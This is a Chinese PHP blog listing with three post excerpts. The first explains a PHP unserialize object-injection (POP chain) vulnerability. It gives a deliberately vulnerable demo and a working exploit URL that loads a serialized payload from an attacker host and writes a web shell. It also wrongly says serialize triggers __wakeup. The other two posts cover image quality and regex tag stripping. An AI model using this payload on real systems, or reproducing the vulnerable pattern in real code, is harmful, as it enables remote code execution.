五维工作室

这里是你们可以实现梦想的地方

分类 php是最好的语言 下的文章

php序列化函数unserialize对象注入漏洞(也成为pop链漏洞)

今天发现主站 https://www.tipsns.com 对应的官方博客
http://blog.tipsns.com 居然被别人黑了挂了木马,
最后发现了一个非常隐蔽的对象注入漏洞,这里是演示对象注入漏洞的测试程序:

class foo{
    private $file = "test.txt";
    private $data = "text";
    public function __destruct()
    {
        file_put_contents($this->file, $this->data);
    }
}

$filename = $_GET['filename'];
echo "Readfile filename<br/>" . PHP_EOL;
if(file_exists($filename)) {
    unserialize(file_get_contents($filename));
} else {
    echo 'no file<br/>' . PHP_EOL;
}

这段代码有三个漏洞触发条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

这里特别注意serialize触发__wakeup, unserialize触发__destruct 都可以在不知不觉中导致漏洞发生

比如通过:http://localhost/unserialize.php?filename=http://attacker/exp.txt
包含内容O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}
然后就可以通过写入的shell.php执行任意代码

阅读全文

php处理图片的那些坑

1.php不支持bmp文件,注意这里可以让前端js通过 canvas 转jpg之后再上传 php is not support bmp

2.quality本来为75的jpg保存为90,质量不会提升但是图片大小会变大,而因为默认jpg的压缩quality为75
所以大部分来源的图片都是75的,75不是相对于被处理的图片的当前质量,而是相对于未压缩的bitmap

 var quality = 0.75;  //默认图片质量为0.75
 var canvas = document.createElement('canvas');
 var ctx = canvas.getContext('2d');   // 创建属性节点
 var anw = document.createAttribute("width");   
 anw.nodeValue = w;   
 var anh = document.createAttribute("height");   
 anh.nodeValue = h;   canvas.setAttributeNode(anw);   
 canvas.setAttributeNode(anh);    
 ctx.drawImage(that, 0, 0, w, h);
if(obj.quality && obj.quality <= 1 && obj.quality > 0){    
    quality = obj.quality;   
}
var base64 = canvas.toDataURL('image/jpeg', quality ); // quality值越小,所绘制出的图像越模糊 

最后实现的效果见:https://www.tipsns.com/

3.通过js生成的jpg一般都比php生成的相同quality的图片大1/3左右
客户端75 quality的图片比php生成的大,因为没有做zip压缩,zip压缩之后二者大小一致

4.jpg的quality是越大质量越好0-100,png恰恰相反越小越好 0-9

阅读全文

php过滤和正则表达式应用(一)

通过php替换掉html标签、空格、表情[:emoji],包括 中文半角 中文全角 英文

$content = trim(preg_replace('/(\[[^\[\]]*:[^\[\]]+\]|<\/?[^>]+>|&nbsp;|&ensp;|&emsp;)/i',' ', $content));

  英文空格
  中文半角空格
  中文全角空格

php 7.3 的rfc wiki 已经放出消息,很可能废弃 strip_tags 只能自己写正则表达式了,呵呵

阅读全文